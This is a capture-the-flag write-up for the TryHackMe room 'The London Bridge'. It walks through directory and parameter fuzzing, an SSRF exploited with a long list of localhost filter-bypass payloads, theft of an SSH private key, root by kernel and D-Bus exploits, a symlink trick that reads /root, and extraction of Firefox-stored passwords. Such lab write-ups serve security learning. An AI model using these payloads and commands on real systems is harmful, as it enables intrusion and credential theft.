The London Bridge

The London Bridge is falling down. - by Sharib

The following post by 0xb0b is licensed under CC BY 4.0


In the challenge The London Bridge we started with an Nmap scan which revealed SSH and a web server running on port 8080. We continued with a directory scan and manual inspection of the website. Initially we attempted attacks such as XSS and SSTI on a contact page and file upload bypasses on the upload page, but were met with working countermeasures. However, by discovering a hidden directory and fuzzing parameters, we find and exploit an SSRF vulnerability to access internal services. From there, we use local file access to compromise the system and then escalate our privileges on the machine using a kernel exploit. Along the way, we demonstrate in this writeup multiple paths to root, including an unintended method, while also harvesting user passwords from Firefox profile data.

Recon

We start with an Nmap scan and find two open ports. Port 22 on which SSH is running and a web server on port 8080.

We first set up a directory scan to enumerate all the directories as we check the site manually. From our initial scan, we find nothing out of the ordinary except for a contact form page and an upload page. Everything we would find if we visited the site.

feroxbuster -u 'http://thelondonbridge.thm:8080' -w /usr/share/wordlists/dirb/big.txt

We are greeted with a welcome page on the index page. Other than that, we find nothing unusual in the source.

In the gallery, next to the pictures of the London Bridge, there is an upload form. This could be interesting.

Foothold

We carry on and try to use the sites we have found to get a foothold on the machine.

Below we show every single attempt, including those that were unsuccessful. If you want to skip this, you can jump directly to Discover The Hidden Directory.

Contact Us

We have a contact form on the page /contact. We insert the following payloads into this to check for XSS, for a potential session hijack, even though we did not find anything like a login page from our first scan. We set up a Python web server and hope to connect to it if a user opens our contact request. Using the different directories in our payload we could determine which field was vulnerable.

<script src="http://10.8.211.1/name"></script>

Unfortunately, we do not receive any feedback. However, we can see that the contents of the name field are being reflected. And we can see in the source that sanitising is taking place.

Since the name is reflected, let's try again with a simple Server Side Template Injection (SSTI) payload.

But to no avail. Let's move on to the next page.

Upload

As mentioned above, there is an upload form on the gallery page. Perhaps this could be exploited to upload malicious images that could enable a web shell or XXE via SVGs.

In the source we find a clue that could be related to the clue in the room description.

We examine the request to upload an image and try several exploits like a file upload bypass without success. Fuzzing other parameters does not reveal anything.

Discover The Hidden Directory

Let's start again, we may not have found all the directories. This time we choose a larger wordlist. The directory-list-lowercase-2.3-medium.txt. And we find what we are looking for. We had not seen /dejaview before.

feroxbuster -u 'http://thelondonbridge.thm:8080' -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt

Here, we seem to be able to enter URLs to load images. This literally asks for Server Side Request Forgery (SSRF).

We intercept a sample query of an existing image from the Gallery using Burp Suite...

... and see that the image is loaded.

We now try using the localhost address and port of the server we know, but get no content. SSRF does not seem to work for this parameter.

Recalling the hint of the room and the source of the /gallery page, we might need to fuzz for other parameters.

Check for other parameters that may been left over during the development phase. If one list doesn't work, try another common one.
view-source:http://thelondonbridge.thm:8080/gallery

Explore Hidden Parameters

We use FuFF to find the parameter. Alternatively, you could Arjun. But FFUF is quite sufficient here. Unfortunately, we were not successful with our first wordist: we cannot find another parameter.

ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt -X POST -u 'http://thelondonbridge.thm:8080/view_image' -H 'Content-Type: application/x-www-form-urlencoded' -d 'FUZZ=/uploads/04.jpg' -fw 226

Again, we use the wordlist that we have already had success with. And we find the parameter www.

ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -X POST -u 'http://thelondonbridge.thm:8080/view_image' -H 'Content-Type: application/x-www-form-urlencoded' -d 'FUZZ=/uploads/04.jpg' -fw 226 

Discover An SSRF

We immediately check for SSRF, set up a web server and test to see if a connection is possible.

Lo and behold, we see the contents of our directory.

Enumerate Internal Services

We will now look at what we can do with the parameter. And we want to start by identifying the different responses that are triggered by different selected inputs. That way we can see if we are going in the right direction.

If no url is given, we get an internal server error.

If we enter the localhost address 127.0.0.1, we receive a message that we do not have the authorization for access. That is interesting.

The same applies to the localhost address with the service 8080 known to us.

There seems to be a filter in place that filters requests for 127.0.0.1. There are different representations of localhost to bypass a filter like that. As we saw at the beginning, we are allowed to access other resources or urls that are not localhost. We will use the following source to find a way around the filter.

Since these payloads are provided for port 80, but we only know that 8080 is actually a running service, we modify the list and provide it here:

127.0.0.1:8080
127.0.0.1:443
127.0.0.1:22
127.1:8080
0
0.0.0.0:8080
localhost:8080
[::]:8080/
[::]:25/ SMTP
[::]:3128/ Squid
[0000::1]:8080/
[0:0:0:0:0:ffff:127.0.0.1]/thefile
①②⑦.⓪.⓪.⓪
127.127.127.127
127.0.1.3
127.0.0.0
2130706433/
017700000001
3232235521/
3232235777/
0x7f000001/
0xc0a80014/
{domain}@127.0.0.1
127.0.0.1#{domain}
{domain}.127.0.0.1
127.0.0.1/{domain}
127.0.0.1/?d={domain}
{domain}@127.0.0.1
127.0.0.1#{domain}
{domain}.127.0.0.1
127.0.0.1/{domain}
127.0.0.1/?d={domain}
{domain}@localhost
localhost#{domain}
{domain}.localhost
localhost/{domain}
localhost/?d={domain}
127.0.0.1%00{domain}
127.0.0.1?{domain}
127.0.0.1///{domain}
127.0.0.1%00{domain}
127.0.0.1?{domain}
127.0.0.1///{domain}st:+11211aaa
st:00011211aaaa
0/
127.1
127.0.1
1.1.1.1 &@2.2.2.2# @3.3.3.3/
127.1.1.1:8080\@127.2.2.2:8080/
127.1.1.1:8080\@@127.2.2.2:8080/
127.1.1.1:8080:\@@127.2.2.2:8080/
127.1.1.1:8080#\@127.2.2.2:8080/

Next, we fuzz for the possible representations and find a several that works.

ffuf -w bypass-localhost.txt -X POST -u 'http://thelondonbridge.thm:8080/view_image' -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://FUZZ' -fw 27

For now, we will use the 127.1:8080/ representation.

Now we try to enumerate all internal open ports with the localhost representation 127.1. Another service runs on port 80.

seq 65365 > ports.txt
ffuf -w ports.txt -X POST -u 'http://thelondonbridge.thm:8080/view_image' -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://127.1:FUZZ' -fw 37

When we access this page using the SSRF, we get a different index page.

Lift The Curtain, Reveal The Sources

Next, we enumerate all the possible directories on port 80 and initially find three. These are templates, uploads and static.

ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -X POST -u 'http://thelondonbridge.thm:8080/view_image' -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://127.1:80/FUZZ' -fw 96 -ic

Templates shows that SSTI might be possible here. This is probably the template for the gallery page. The original idea was to create a file that has an SSTI payload in its filename and then be uploaded to the gallery. The file, as well its name is shown on the page. After some time, it turned out that there was a strong sanitisation mechanism in place that prevented this. Unfortunately, SSTI is not possible. But it would certainly be a more interesting attack vector than the one we are about to find next. But up to this point, the machine is already very good.

Explore The Directories Again

What the machine teaches us is not always to trust our first scan result. We scan for further directories. This time with a different wordlist. At this point a shout out to jaxafed for the sanity check at this point. Thank you very much!

With the new wordllist in use, we continue to find ‘directories’. It seems as if we are in a home directory. We also see an .ssh folder.

This was the slightly disappointing part of the challenge, I really would have liked the SSTI. Although experienced pentesters and bug bounty hunters might have skipped the enumeration path and would be successful by manipulating the filename in the fileupload form first. But even that could have been avoided with something not directly enumerable that instead could be found using SSRF. Nevertheless, a really nice exploit chain so far.

We look at the contents of the .ssh folder and find the auhtorized_key file and even a private key id_rsa.

We request the authorized_key file to determine the possible user. It is beth.

Next, we request the id_rsa and copy its content.

Shell As Beth

We copy the content of the private key to our machine and adjust the permissions of our id_rsa file. We then use the key to gain access to the machine via SSH as beth. At first glance, we can't find the first flag. We find another user charles in /etc/passwd and are afraid that we will have to extend our privileges to this user. But this is not the case.

We search for user.txt and are able to locate it at /home/beth/__pycache__/user.txt. A not so common location.

find / -type f -name 'user.txt' 2>/dev/null

Shell As Root

With the user beth we now run the enumeration script LinPeas and even find some vectors that could be used. The service of the app on port 8080 calls things from the home directory of beth. If we had the authorization to restart the service, we would actually be able escalate our privileges, as the service runs in the context of root. Unfortunately this is not the case. We also cannot find a password for beth, nor can we brute-force it to see what privileges we might have with sudo.

Initial Approach

There was a picture in /uploads (not in /home/beth/uploads) that gave me the idea, just as an aside. After really many attempts, the question came to me. Why the room got its name.

And there it struck me, so this is just an assumption. But metaphorically speaking, the kernel is the bridge between the hardware and the software. So the intended or somewhat intended way is a kernel exploit. Something we are not that used to at challenge machines on TryHackMe.

So from our LinPeas scan, we already have a suggestion. But the exploit initially tried here did not fully work.

Let's pursue this systematically and not rely entirely on linpeas. Using uname -a, we output all the necessary information to find a suitable kernel exploit. We have a linux kernel 4.5.0-122 and we are running Ubuntu.

Next, we google for a specific exploit and actually find one.

google kernel exploit 4.15.0-112

Checking the search result, it seems to fit our target. At least the version.

We clone the repository and serve the content using a Python web server.

Next, we get all the contents of the cloned repository on the target machine to compile it there.

wget -r http://10.8.211.1/ZDI-24-020

Now all we need to do is call make to compile it properly.

After running the exploit, we are root and have access to the root flag at /root/.root.txt.

Authors Intentional Approach

The authors' approach was to show that, although often overlooked in SUID permissions, an improperly configured D-Bus service can pose a significant security risk, highlighting the need for careful consideration in system configuration. From our LinPeas scan we get the following suggestion:

This was an attempt made before the initial approach which did not yield to anything fruitful.

By looking for some SUID binaries, we see the /usr/lib/dbus-1.0/dbus-daemon-launch-helper.

We find the exploit fitting our kernel version at the following repository:

We clone the repository and make it available using a Python web server.

On the target machine we download the clone repository recursively using wget.

Finally, we just need to add execute permissions to exploit.dbus.sh and run it. After a successful execution, we are root.

Charles Password

For charles password we probably need to be the user root. There was no path to escalate from beth to charles. In the home directory of charles we find an mozilla folder.

Maybe there is a Firefox profile with a few passwords hidden in it. We can find out how to extract these in the following writeup. Essentially, we only need the files key4.db and logins.json. But for the showcased script to work, we seem to need the whole profile.

We dig down to the profile folder and set up a Python web server.

Next, we recursively download the profile data to our machine.

wget -r http://thelondonbridge.thm:9000/8k3bf3zp.charles

Then we get the script.

We select this and specify the profile folder. After execution, we receive the credentials for the page https://buckinghampalace.com. That password is also the answer to the final question of the challenge.

python3 firefox_decrypt.py ../thelondonbridge.thm:9000/8k3bf3zp.charles 

Interesting Uninteded Solution

In addition to the two ways of obtaining a root shell shown above, there is another way to solve this challenge. This was the original discovery of Jaxafed. Shout out to Jaxafed for sharing this way. Don't forget to check out his great writeups:

Don't miss Jaxafed's detailed explanation of how to leverage this arbritrary file read to obtain a root shell:

Root Flag

We are now on the system using a shell as beth. Our Linpeas scan also shows the following: The web server that we reach on port 8080 is running in the context of root. How can we utilise this? Let's take a closer look at the app.

This defines an upload folder, which is the one in beth's home directory.

This folder is used in the gallery. We remember our insights from http://127.1:80/templates. It is used here. More precisely, it is the /home/beth/templates/index.html template.

In the template we see that every file from the folder is included and displayed.

Furthermore, we have full control over this folder. The idea now is that we let the app use other folders instead of the uploads folder in the home directory. The app itself only looks for a file called uploads. So we can use a symlink that has the name uploads and points to any folder we want to read.

Let's create a symlink to /root.

mv uploads/ uploadsx
ln -sf /root uploads

Reloading the gallery page now gives us the content of the /root folder.

Inspecting the source of the gallery gives us the links to access those files.

And we are able to retrieve the .root.txt flag.

Charles Password

We can also solve charles Password's task in this way. We keep creating symlinks to slowly work our way through the folder structure.

From /home/charles to /home/charles/.mozilla.

From /home/charles/.mozilla to /home/charles/.mozilla/firefox.

Until we finally reach its profile: ./home/charles/.mozilla/firefox/8k3bf3zp.charles.

To download the file we inspect the source of the /gallery page, copy its contents and let chatGPT do the work of creating us a wget request to download each part of the profile.

wget http://thelondonbridge.thm:8080/uploads/storage-sync-v2.sqlite \
     http://thelondonbridge.thm:8080/uploads/safebrowsing \
     http://thelondonbridge.thm:8080/uploads/extensions.json \
     http://thelondonbridge.thm:8080/uploads/extension-store \
     http://thelondonbridge.thm:8080/uploads/sessionstore-backups \
     http://thelondonbridge.thm:8080/uploads/logins-backup.json \
     http://thelondonbridge.thm:8080/uploads/containers.json \
     http://thelondonbridge.thm:8080/uploads/sessionstore.jsonlz4 \
     http://thelondonbridge.thm:8080/uploads/storage \
     http://thelondonbridge.thm:8080/uploads/prefs.js \
     http://thelondonbridge.thm:8080/uploads/datareporting \
     http://thelondonbridge.thm:8080/uploads/settings \
     http://thelondonbridge.thm:8080/uploads/key4.db \
     http://thelondonbridge.thm:8080/uploads/storage.sqlite \
     http://thelondonbridge.thm:8080/uploads/lock \
     http://thelondonbridge.thm:8080/uploads/bookmarkbackups \
     http://thelondonbridge.thm:8080/uploads/places.sqlite \
     http://thelondonbridge.thm:8080/uploads/sessionCheckpoints.json \
     http://thelondonbridge.thm:8080/uploads/pkcs11.txt \
     http://thelondonbridge.thm:8080/uploads/crashes \
     http://thelondonbridge.thm:8080/uploads/minidumps \
     http://thelondonbridge.thm:8080/uploads/extension-preferences.json \
     http://thelondonbridge.thm:8080/uploads/logins.json \
     http://thelondonbridge.thm:8080/uploads/xulstore.json \
     http://thelondonbridge.thm:8080/uploads/AlternateServices.txt \
     http://thelondonbridge.thm:8080/uploads/cookies.sqlite \
     http://thelondonbridge.thm:8080/uploads/storage-sync-v2.sqlite-wal \
     http://thelondonbridge.thm:8080/uploads/addons.json \
     http://thelondonbridge.thm:8080/uploads/protections.sqlite \
     http://thelondonbridge.thm:8080/uploads/permissions.sqlite \
     http://thelondonbridge.thm:8080/uploads/shield-preference-experiments.json \
     http://thelondonbridge.thm:8080/uploads/search.json.mozlz4 \
     http://thelondonbridge.thm:8080/uploads/formhistory.sqlite \
     http://thelondonbridge.thm:8080/uploads/browser-extension-data \
     http://thelondonbridge.thm:8080/uploads/webappsstore.sqlite \
     http://thelondonbridge.thm:8080/uploads/.parentlock \
     http://thelondonbridge.thm:8080/uploads/storage-sync-v2.sqlite-shm \
     http://thelondonbridge.thm:8080/uploads/gmp-gmpopenh264 \
     http://thelondonbridge.thm:8080/uploads/compatibility.ini \
     http://thelondonbridge.thm:8080/uploads/broadcast-listeners.json \
     http://thelondonbridge.thm:8080/uploads/security_state \
     http://thelondonbridge.thm:8080/uploads/favicons.sqlite \
     http://thelondonbridge.thm:8080/uploads/SiteSecurityServiceState.txt \
     http://thelondonbridge.thm:8080/uploads/times.json \
     http://thelondonbridge.thm:8080/uploads/content-prefs.sqlite \
     http://thelondonbridge.thm:8080/uploads/cert9.db \
     http://thelondonbridge.thm:8080/uploads/cache2 \
     http://thelondonbridge.thm:8080/uploads/addonStartup.json.lz4 \
     http://thelondonbridge.thm:8080/uploads/startupCache \
     http://thelondonbridge.thm:8080/uploads/handlers.json

Now we just need to run the script and get the password for charles.

Last updated